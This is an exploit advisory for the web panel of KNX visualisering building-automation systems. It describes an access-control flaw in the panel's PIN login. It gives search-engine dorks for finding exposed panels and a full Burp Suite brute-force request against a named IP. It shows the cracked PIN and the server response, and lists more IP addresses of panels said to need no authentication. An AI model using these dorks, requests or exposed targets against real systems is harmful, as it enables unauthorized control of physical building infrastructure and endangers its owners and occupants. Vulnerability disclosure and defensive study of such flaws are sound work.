# Exploit Title: KNX visualisering - Broken Access Control
# Date: 6/10/2026
# Exploit Author: parsa rezaie khiabanloo
# Vendor Homepage: KNX visualisering (https:/www.knxgroep.nl)
# Version: KNX visualisering
# Tested on: Windows/Linux
Step 1 : Attacker can using these dorks then can find the KNX panel .
Shodan : title:"KNX visualisering" OR https://www.shodan.io/search?query=title%3A%22KNX+visualisering%22
ZoomEye : "KNX visualisering" OR https://www.zoomeye.ai/searchResult?q=IktOWCB2aXN1YWxpc2VyaW5nIg%3D%3D
Fofa : ("KNX visualisering") && icon_hash=="2019991370" OR https://en.fofa.info/result?qbase64=KCJLTlggdmlzdWFsaXNlcmluZyIpICYmIGljb25faGFzaD09IjIwMTk5OTEzNzAi
Step 2 : We Found pincode panel and they dont have RateLimit so attacker can brute force it using tools like BrupSuite.
The attacker can try several numbers to know what the length of the number is for that panel, for example, one panel is 4 digits or another panel is 6 digits.
Notic : Most panels Dont need authentication
Example :
Attacker used the dorks and founded this IP 62.163.74.206 after that attacker use the Burp Suite to brute force it .
Request :
POST /scada-vis/pin?return=index HTTP/1.1
Host: 62.163.74.206
Content-Length: 10
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://62.163.74.206
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://62.163.74.206/scada-vis/pin?return=index
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
pin=123456
In the up request attack will know the pin length is 6 so now attacker going to try 6 numbers from 000000 to 999999 .
I founded the pin and that is 200908 .
Response :
HTTP/1.1 302 Moved Temporarily
Date: Wed, 10 Jun 2026 07:26:40 GMT
Content-Type: text/html
Content-Length: 126
Connection: keep-alive
Set-Cookie: pin=200908; Path=/
Location: /scada-vis/index
<html>
<head><title>302 Found</title></head>
<body bgcolor="white">
<center><h1>302 Found</h1></center>
</body>
</html>
Some Panels without authentication :
https://85.147.34.42/scada-vis
https://185.72.160.230/scada-vis
Polish
English